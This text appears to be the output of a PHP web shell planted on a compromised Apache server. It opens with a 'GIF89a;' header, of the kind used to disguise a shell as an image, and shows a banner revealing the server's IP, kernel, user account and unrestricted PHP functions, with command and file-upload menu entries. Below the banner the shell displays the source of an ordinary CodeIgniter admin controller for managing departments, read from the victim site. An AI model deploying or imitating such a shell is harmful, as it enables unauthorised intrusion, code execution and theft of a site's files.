GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.117.145.67 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../jobs/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * Description of Department * * @author Softpro India Pvt. Ltd */ class Department extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("admin/CategoryManagement"); $this->load->model("admin/DepartmentManagement"); } public function index() { if ($this->sessionvalidator->validateSession()) { $viewData["departments"] = $this->DepartmentManagement->getDepartments()->result(); $this->load->view("admin/departments", $viewData); } else { redirect("admin"); } } public function createDepartment() { if ($this->sessionvalidator->validateSession()) { $this->load->view("admin/createDepartment"); } else { redirect("admin"); } } public function saveDepartment() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("departmentName", "department name", "required", array("required" => "Enter Department Name.")); $this->form_validation->set_rules("departmentShortName", "department short name", "required", array("required" => "Enter Department Short Name.")); $this->form_validation->set_rules("description", "category description", "required", array("required" => "Enter Department Description.")); if ($this->form_validation->run() == false) { $this->createDepartment(); } else { if (sizeof($this->DepartmentManagement->getDepartmentByName(addslashes(trim($this->input->post("departmentName"))))->result()) > 0) { $this->session->set_flashdata("errorMessage", "Department Already Exist With Same Name."); $this->createDepartment(); } else { $departmentData = array("dm_name" => addslashes(trim($this->input->post("departmentName"))), "dm_short_name" => addslashes(trim($this->input->post("dm_short_name"))), "dm_desc" => addslashes(trim($this->input->post("description"))), "dm_active_status" => "T", "dm_added_on" => date("Y-m-d H:i:s")); if ($this->DepartmentManagement->saveDepartment($departmentData) > 0) { $this->session->set_flashdata("successMessage", "Department Saved Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Save Department."); $this->createDepartment(); } } } } else { redirect("admin"); } } public function editDepartment($cm_id) { if ($this->sessionvalidator->validateSession()) { $viewData["department"] = $this->DepartmentManagement->getDepartmentByID($cm_id)->result()[0]; $this->load->view("admin/editDepartment", $viewData); } else { redirect("admin"); } } public function updateDepartment() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("departmentName", "department name", "required", array("required" => "Enter Department Name.")); $this->form_validation->set_rules("departmentShortName", "department short name", "required", array("required" => "Enter Department Short Name.")); $this->form_validation->set_rules("description", "category description", "required", array("required" => "Enter Department Description.")); $deptid = $this->input->post("dm_id"); if ($this->form_validation->run() == false) { $this->editDepartment($deptid); } else { if (sizeof($this->DepartmentManagement->getDepartmentByName(addslashes(trim($this->input->post("departmentName"))), $deptid)->result()) > 0) { $this->session->set_flashdata("errorMessage", "Department '" . $this->input->post("departmentName") . "' Already Exist With Same Name."); $this->editDepartment($deptid); } else { $departmentData = array("dm_name" => addslashes(trim($this->input->post("departmentName"))), "dm_short_name" => addslashes(trim($this->input->post("departmentShortName"))), "dm_desc" => addslashes(trim($this->input->post("description")))); if ($this->DepartmentManagement->updateDepartment($departmentData, $deptid)) { $this->session->set_flashdata("successMessage", "Department Updated Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Update Department."); $this->editDepartment($deptid); } } } } else { redirect("admin"); } } public function toggleDepartmentStatus($deptid, $changedStatus) { if ($this->sessionvalidator->validateSession()) { $departmentData = array( 'dm_active_status' => $changedStatus ); if ($this->DepartmentManagement->updateDepartment($departmentData, $deptid)) { $this->session->set_flashdata('successMessage', 'Department Status Updated Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Update Department Status.'); redirect("admin/Department"); } } else { redirect("admin"); } } public function toggleDepartmentDeleteStatus($dm_id, $changedStatus) { if ($this->sessionvalidator->validateSession()) { $departmentData = array( 'dm_delete_status' => $changedStatus, 'dm_updated_on' => date("Y-m-d H:i:s") ); if ($this->DepartmentManagement->updateDepartment($departmentData, $dm_id)) { $this->session->set_flashdata('successMessage', 'Department Deleted Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Delete Department.'); redirect("admin/Department"); } } else { redirect("admin"); } } }